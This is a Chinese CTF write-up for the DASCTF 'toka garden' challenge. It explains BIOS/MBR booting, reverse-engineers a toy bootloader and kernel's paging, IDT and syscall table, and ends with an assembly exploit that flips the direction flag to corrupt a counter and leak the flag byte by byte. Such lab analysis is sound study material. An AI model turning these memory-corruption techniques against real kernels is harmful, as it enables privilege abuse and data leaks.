Table of Contents
前言
被纯真拉来看题楽。
日常忏悔没有学好操作系统。借着 dasctf 6 toka garden 了解了下操作系统 bios-mbr 的启动流程。
bios-mbr 启动流程
启动(boot)一词来自于一句谚语 “pull oneself up by one’s bootstraps” (“拽着鞋带把自己拉起来”)这当然是不可能的事情。最早的时候,工程师们用它来比喻,计算机启动是一个很矛盾的过程:必须先运行程序,然后计算机才能启动,但是计算机不启动就无法运行程序
必须想尽各种办法,把一小段程序装进内存,然后计算机才能正常运行。所以,工程师们把这个过程叫做“拉鞋带”,久而久之就简称为boot了。
计算机通电
计算机通电后,CPU中的执行地址会初始化为BIOS的地址,然后开始加载执行BIOS程序。
BIOS
全称 Basic Input/Output System,用于检查硬件,而跟操作系统关系不大,因此电脑可以适应多种操作系统。BIOS 程序存放在 ROM 中,它的启动地址也是根据标准制定的。
- POST (poser-on self-test)检查硬件,如果有故障会发出 哔 的声音
- 启动设备 会找到第一个设备的第一个扇区内容(MBR)加载到内存,并跳转执行
MBR
参考 启动设备的第一个扇区的内容称为主引导记录(MBR,Master Boot Record),由三个部分组成
- bootloader,主引导程序(446个字节)
- Dpt(Disk Partition table),硬盘分区表(64个字节)
- 扇区结尾标志(55aa)标志当前扇区是否合法,不合法(不是55AA),会跳回BIOS寻找下一个启动设备
BIOS 把主引导程序加载到了内存中的固定位置 0x7c00,这个有 历史遗留原因的。而主引导程序负责把扇区中的操作系统代码加载到内存,然后执行操作系统代码。对于不同的操作系统,这一加载过程可能会有所不同。
bootloader
如果启动过程足够简单,仅仅 MBR 的代码就足以加载 os,那么 MBR 中的代码就可以成为 bootloader。如果启动过程复杂,MBR 会调用一些启动管理器软件来加载 os
os
那就是 os 自己的事情了…吧
MBR 分析
以 dasctf 6 toka garden 为例,用到了一个简单的 bootloader
查看源码:https://github.com/N00byEdge/bootelf/blob/master/bootelf.asm](https://github.com/N00byEdge/bootelf
实模式下
一开始是实模式,ida 启动后选择 16 bit mode 即可。由于加载到在 0x7c00 处,ida 内 rebase 。
读取程序
sub_7C00 proc nearxor bx, bxmov ds, bxmov ss, bxmov bp, 7C0hmov dh, 0mov cx, 1
loc_7C0E:add cl, 1jb short loc_7C1Fadd bp, 20h ; ' 'mov es, bpassume es:nothingmov ax, 201hint 13h ; DISK - READ SECTORS INTO MEMORY ; AL = number of sectors to read, CH = track, CL = sector ; DH = head, DL = drive, ES:BX -> buffer to fill ; Return: CF set on error, AH = status, AL = number of sectors readjnb short loc_7C0E
loc_7C1F:mov di, 800hxor al, allea cx, ds:7400hrep stosb设置了一开始的寄存器之后,用到了一个 int 0x13 中断,AH = 2 表示读扇区,从第 CH 磁道的第 CL 个扇区读取 AL=1 个扇区到内存 es:bx 区域。由于 bx 为 0,根据实模式下寻址的规律,地址为 es<<4。
sector n -> 0x7c00 + 0x200*n如果读取错误 CF = 1,jnb 不跳转。
接着使用 rep stosb 命令存储数据 (repeat store string byte)其中
- cx 指定次数 递减- di 目的地址 递增(es:di)- al 转移的数据gdt
lgdt 指令设置了段表寄存器
clilgdt fword ptr ds:qword_7CAB分页机制设置
设置了几个关键的控制寄存器:
-
CR0 1000h
表示页表的物理内存基址 0x1000
-
CR4 0A3h IA32_EFER.LME = 1
CR4.PAE = 1 LME =1 CR4.LA57=0 开启 4 level paging
PSE page size extension 4 mbytespages
具体查看 4-32 Vol. 3A
这页表分析不来,我放弃了…嗯
mov eax, 1000h # 页表物理内存基址 0x1000mov word ptr [eax], 2003h # PDEmov word ptr ds:1FF8h, 2003h # PTEmov cr3, eaxmov word ptr ds:2000h, 3003hmov word ptr ds:2008h, 4003hmov word ptr ds:2FF0h, 3003hmov word ptr ds:2FF8h, 4003hmov di, 3000hxor ax, axmov cx, 400h
loc_7C64:mov byte ptr [di], 83hmov [di+3], axadd di, 8inc axinc axloop loc_7C64
mov eax, cr4or al, 0A3hmov cr4, eax # PVI VME PGE PSEmov ecx, 0C0000080h # IA32_EFERrdmsror ax, 100h # LME IA32 mode enablewrmsr开启保护模式
设置 cr0 控制寄存器,CR0.PG = 1 开启分页,地址不再直接表示物理地址而是逻辑地址。CR0.PE = 1 切换到保护模式
mov eax, 80000011hmov cr0, eax # PG ET PEjmp far ptr unk_7D14保护模式
0x7c94: mov esi,0x7e00 0x7c99: mov rdi,0xffffffff80200000 0x7ca0: lods rax,QWORD PTR ds:[rsi] 0x7ca2: stos QWORD PTR es:[rdi],rax # 移动 8 byte 0x7ca4: push rdi 0x7ca5: mov rcx,rax=> 0x7ca8: rep movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi] # 每次移动 1 byte 0x7caa: retlods stos movs 会自动增减 rdi rsi 寄存器的值,增减多少由指令决定
ret 跳转到内核态,更新了页表、段表,也清空了低 0x2000 的内存
► 0x7caa ret <0xffffffff80200008> ↓ 0xffffffff80200008 or byte ptr [0x1000], 4 0xffffffff80200010 or byte ptr [0x2000], 4 0xffffffff80200018 mov edi, 0x5000 0xffffffff8020001d mov eax, 0x8007 0xffffffff80200022 stosq qword ptr [rdi], rax 0xffffffff80200024 mov eax, 0x9007 0xffffffff80200029 stosq qword ptr [rdi], rax 0xffffffff8020002b mov ecx, 0x1fe 0xffffffff80200030 mov eax, 3 0xffffffff80200035: stos QWORD PTR es:[rdi],rax 0xffffffff80200037: add rax,0x1000 0xffffffff8020003d: loop 0xffffffff80200035 0xffffffff8020003f: mov DWORD PTR ds:0x3000,0x5007 0xffffffff8020004a: mov rax,cr3 0xffffffff8020004d: mov cr3,rax 0xffffffff80200050: xor rdi,rdi 0xffffffff80200053: mov ecx,0x2000 0xffffffff80200058: xor al,al 0xffffffff8020005a: rep stos BYTE PTR es:[rdi],al 0xffffffff8020005c: lgdt [rip+0xbd] 0xffffffff80200063: mov ax,0x10 0xffffffff80200067: mov ss,eax 0xffffffff80200069: mov ds,eax 0xffffffff8020006b: mov fs,eax 0xffffffff8020006d: mov es,eax 0xffffffff8020006f: mov gs,eax 0xffffffff80200071: push 0x8 0xffffffff80200073: push 0xffffffff8020007a 0xffffffff80200078: retfqidt
跳转,加载 idt
lidt [rip+0x71f] # 加载 idt此时的 qemu monitor 看到的 idtr 是 IDT= ffffffff80200790 00000010
0xffffffff80200790: 0x8020ee010008012a
segment sector: 8 # 中断程序所在的段选择符offset: 0x8020012ap: 1 # 不在内存 emmDPL: 3
对应的段为8: 64-bit Code Segment, DPL=0, Non-Conforming, Readable随后
mov ax,0x28ltr ax # 任务寄存器 TR切换 tr 寄存器变成以下内容
TR =0028 ffffffff802007aa 00000065 00008900 DPL=0 TSS64-avl把文件内容写入了 0x0-0x1000 的地方(不懂端口怎么来的,猜测应该是 IO 的默认端口吧?)
xor rdi,rdimov ecx,0x1000mov dx,0x3fdin al,dx # 从 0x3fd 端口读取 1 字节到 altest al,0x1 # 0xffffffff80200095je 0xffffffff80200090sub dl,0x5in al,dxstos BYTE PTR es:[rdi],alloop 0xffffffff80200090然后存储完成后长这样
pwndbg> x/20gx 00x0: 0x00000000cdc03148 0x0000000000000000用户态
回到用户态 cs=0x1b ss=0x23 sp=0x2000 ip=0
mov ax,0x23mov ds,eaxmov es,eaxmov fs,eaxmov gs,eaxxor rax,raxxor rbx,rbxxor rcx,rcxxor rdx,rdxxor rsi,rsixor rdi,rdixor rbp,rbpxor r8,r8xor r9,r9xor r10,r10xor r11,r11xor r12,r12xor r13,r13xor r14,r14xor r15,r15push 0x23push 0x2000push 0x2push 0x1bpush 0x0iretq回到 0x0 地址
xor rax, raxint 0这个中断根据 rax 的值 switch jump
0xffffffff8020012a cmp rax, 8 ► 0xffffffff8020012e ✔ jb 0xffffffff80200139 <0xffffffff80200139> ↓ 0xffffffff80200139 jmp qword ptr [rax*8 - 0x7fdffec0]可以跳转以下位置,实现了 8 个系统调用
pwndbg> x/8gx 0 - 0x7fdffec00xffffffff80200140: 0xffffffff80200180 0xffffffff802001840xffffffff80200150: 0xffffffff802001a9 0xffffffff802001c00xffffffff80200160: 0xffffffff80200219 0xffffffff8020026e0xffffffff80200170: 0xffffffff802002b4 0xffffffff802002e8各个系统调用如下,
0: 退出1:从 rsi (<2000h) 的位置开始输出2:继续读输入 从 0x1000 往后3:把指定位置(rdi)的(rcx)个数据写入0xffffffff80200454+counter ,然后 rcx 加到 counterrdi + rcx < 2000h,rdx + rcx < 100 (计数器)4:把 0xffffffff80200454 的数据写 counter 个到 0xffffffff80200554 并清空 0xffffffff80200554和counter5:把 0FFFFFFFF80200554h 的数据写 rcx 个到 0xffffffff80200454+counter6:把 FFFFFFFF80200754 的东西输出 0x2f 个7:清空 0FFFFFFFF80200554 之后 0x100 的内容exp
经过分析分析内存是这样的
主要利用了 cld std 指令可以改变 Direction Flag,控制读取方向的特性。通过覆盖位于 0xFFFFFFFF8020044C 的计数器,把 flag 的一个字母覆盖到位于 上。那么要如何泄露这个数字呢?当 rax = 3 时中断,可以把计数器的值留在寄存器 rdx 中,rax = 3 时的汇编如下:
pwndbg> x/20i 0xffffffff802001d8 0xffffffff802001d8: mov rbx,QWORD PTR ds:0xffffffff8020044c 0xffffffff802001e0: movzx rdx,bl 0xffffffff802001e4: add rdx,rcx 0xffffffff802001e7: jb 0xffffffff80200210 0xffffffff802001e9: cmp rdx,0x100 0xffffffff802001f0: ja 0xffffffff80200210 0xffffffff802001f2: sub rdx,rcx我们把 rdx 的值移动到小于 0x2000 处的一个地址调用 rax=1 的中断即可输出 rdi 位置的值,这样就可以完成一个字母的输出了,那如何一次性输出全部的 flag 呢?
由于计数器被 flag 覆盖,需要再次控制计数器,我采用的方式是从 flag 的最后一位往前泄露,令 rax = 4 中断(正向移动把 0xffffffff80200454 的数据写 [0FFFFFFFF8020044C] 个到 0xffffffff80200554 并清空 0xffffffff80200454,并清零计数器)就能够,从 flag 的最后一位往前泄露的原因是不要清空或者覆盖未输出的 flag。
总的来说 exp 如下
BITS 64
;set countermov rdi, 0hmov rcx, 50hmov rax, 3hint 0h
;mov flag to buffer 2, clear counterstdmov rax, 4hint 0hxor r9, r9
leak: inc r9
;set counter mov rdi, 0h mov rcx, r9 mov rax, 3h cld int 0h
;mov flag from buffer2 to buffer1 mov rcx, 50h mov rax, 5h std int 0h
;leak a letter mov rcx, 1 mov rdi, 0h mov rax, 3h int 0h mov rcx, 0 mov [rcx], rdx mov r10, 0x100
;out a letter mov rsi, 0h mov rax, 1h int 0
;clear couner cld mov rax, 4h int 0h
;quitcmp r9, 0x42jnz leakmov rax,0int 0把输出逆向一下即可: